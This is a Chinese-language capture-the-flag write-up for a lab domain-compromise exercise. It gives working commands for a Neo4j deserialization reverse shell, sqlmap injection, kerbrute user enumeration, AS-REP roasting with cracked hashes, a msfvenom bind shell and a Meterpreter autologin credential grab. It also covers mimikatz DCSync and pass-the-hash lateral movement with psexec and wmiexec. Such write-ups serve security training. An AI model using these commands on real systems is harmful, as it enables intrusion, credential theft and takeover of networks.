春秋云境 Time WP

发布时间 2023-12-17 19:39:55作者: fdx_xdf

春秋云境 Time WP

flag01

首先fscan扫描,发现开放7687端口。

image-20231217125139735

猜测为neo4j,Neo4j是一个开源图数据库管理系统。

在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。

查找相关文章,找到:CVE-2021-34371 Neo4j Shell Server 反序列化漏洞复现 – Zgao's blog,进行复现,反弹shell,注意命令要base64编码,在线编码网站:Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

image-20231217125157975

image-20231217130732325

image-20231217130749255

反弹到shell之后拿到flag:flag{8ee7dfae-4958-4ab7-94e9-aa5101c0e442}

image-20231217131127817

flag02

先看一下网卡,然后上传fscan进行扫描

image-20231217131330291

neo4j@ubuntu:~$ ./fscan -h 172.22.6.0/24
./fscan -h 172.22.6.0/24

___                              _

  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.12     is alive
(icmp) Target 172.22.6.38     is alive   
(icmp) Target 172.22.6.36     is alive   
(icmp) Target 172.22.6.25     is alive   
[*] Icmp alive hosts len is: 4
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.25:139 open
172.22.6.12:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.36:22 open
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.12:88 open
172.22.6.36:7687 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo 
[*]172.22.6.12
   [->]DC-PROGAME
   [->]172.22.6.12
[*] NetBios 172.22.6.25     XIAORANG\WIN2019              
[*] OsInfo 172.22.6.12	(Windows Server 2016 Datacenter 14393)
[*] NetInfo 
[*]172.22.6.25
   [->]WIN2019
   [->]172.22.6.25
[*] NetBios 172.22.6.12     [+] DC:DC-PROGAME.xiaorang.lab       Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.6.38        code:200 len:1531   title:后台登录
[*] WebTitle https://172.22.6.36:7687  code:400 len:50     title:None

先看 172.22.6.38 的web站点

image-20231217134323075

加单引号卡住,尝试sqlmap跑注入

image-20231217134457561

在数据库中发现flag:

python sqlmap.py -r 1.txt -D oa_db -T oa_f1Agggg -C flag02 --dump

flag{b142f5ce-d9b8-4b73-9012-ad75175ba029}

image-20231217135511252

flag03

oa_admin下有password: bo2y8kAL3HnXUiQo,但是登录web页面什么都没有

oa_users 有email列,dump出来,拿到oa_users.txt,进行域用户枚举。

域用户枚举:
kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举。

./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab oa_users.txt

image-20231217143658258

将枚举出来的用户做成字典users.txt。

然后进行AS_REP Roasting攻击:
AS_REP Roasting是一种对用户账户进行离线爆破的方式,需要关闭预身份验证,而此选项又是默认开启的,所以有一定的限制,默认开启的预身份验证是会记录密码错误次数来防止爆破的,关闭预身份验证后,在进行AS_REQ之后的时候,KDC不会进行任何验证就将TGT和用该用户Hash加密的Login Session Key返回,由于AS_REP的数据包中Login Session Key的是由用户Hash进行加密的,因此,可以对获取到的用户Hash加密的Login Session Key进行离线爆破,得到对应用户的明文密码
对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令

image-20231217145231321

得到2个用户

$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:1ed2db49f5da8fd30b8d754a531f0e64$f2561fd94421d0e0db6deaf5fd03c28e018483a73ce0c4457e2605ec46ce04c634630327b8fd8f4d397a7df7dff62f7c2371343a698bc65dc9a3841499199c025c6d0345083ae296844b128e76e8ece3db687feaf29316c7d17c698f99e60ca565d2a83d7d950649c66cc08d5b6cd3c78e9c76f4360667c0105f0c5f928155c208f5a3bb230fd35d548c52f9845784f8c15faa1251345a604d30878ddae526b16c7cd8e1f744c4083680509e1a426003ad7de35a58820ff3f046f001b57dfdfd4fe165e5339904335350ff9ebf540dd25c69eec015768b3934815a87272c30a4d1d69ce9afc7ea38341339f4
$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:7e97bdebe4cdf7ff14b398f0bf1b3855$71100918a48f492e49148efcfe39850868447df4e9a95d38e8c479e296f6e3cbbe462690e0e98dec9029cc101f985b9bf6f0423e71b63a475e5ff207110a8fbe361da24eac2cf7a3062b245290941e5167954ebbd579fe98be31a112a4f4a8bfdc23732084e80d71dcae61d0624075e01d0a66e85ce41334ebf2a89a092f211b63f193ecbb897eea37165da1420840501aa0ae2c872e0d8b9887d958e95e75301a92daf8044f11bdff3708cd937edfcb9425414d6f1cc3d85327b9fae7cf71118aa625c1d08ccff1461efb607ca9a3ea0b85c0bd95f282efd5f2873d581a22f5abc72d1b395da35822e56e1c

用john破解,得到两个账户的密码

image-20231217150638087

strawberry       ($krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB)     
hellokitty       ($krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB) 

连接远程桌面

image-20231217151050348

上传bloodhound收集工具,进行域信息收集

image-20231217153714482

导入收集的zip,进行分析,我们现在在win2019,下一步要打yuxuan@xiaorang.lab,仔细看,线路上都有攻击的提示:HasSession

HasSession:用户与计算机时进行会话时,凭据会保留在内存中,说明yuxuan这个用户登录过WIN2019,很多用户习惯将计算机设置自动登录,可以使用MSF抓取自动登录的用户名和密码

image-20231217153652414

先生成正向shell

msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o bind_shell.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.6.25
run

运行下述命令抓取密码

run windows/gather/credentials/windows_autologin

image-20231217155426125

[+] AutoAdminLogon=1, DefaultDomain=xiaorang.lab, DefaultUser=yuxuan, DefaultPassword=Yuxuan7QbrgZ3L

然后换账号重新登陆:

image-20231217155528532

这个用户是属于域管理组的,看到提示HashSIDHistory。

HasSIDHistory:用户的SID历史记录,用户在域迁移后,票据还包含着前域所在组的SID,虽然用户不属于前域,但仍拥有前域的权限。

使用yuxuan这个用户抓Administrator的哈希mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

image-20231217160442322

拿到hash 04d93ffd6f5f6e4490e0de23f240a5e9

对自己进行横向psexec.exe -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab/Administrator@172.22.6.25

image-20231217162057500

拿到flag03:flag{8d115166-65cb-49a5-bea1-a5a1415e07ba}

image-20231217162315623

flag04

利用域管理员hash和wmiexec.py直接横向dc python wmiexec.py -hashes 00000000000000000000000000000000:04d93ffd6f5f6e4490e0de23f240a5e9 Administrator@172.22.6.25

拿到flag04:flag{128f3a76-c44b-436b-99ca-cead13b6ec18}

image-20231217162730766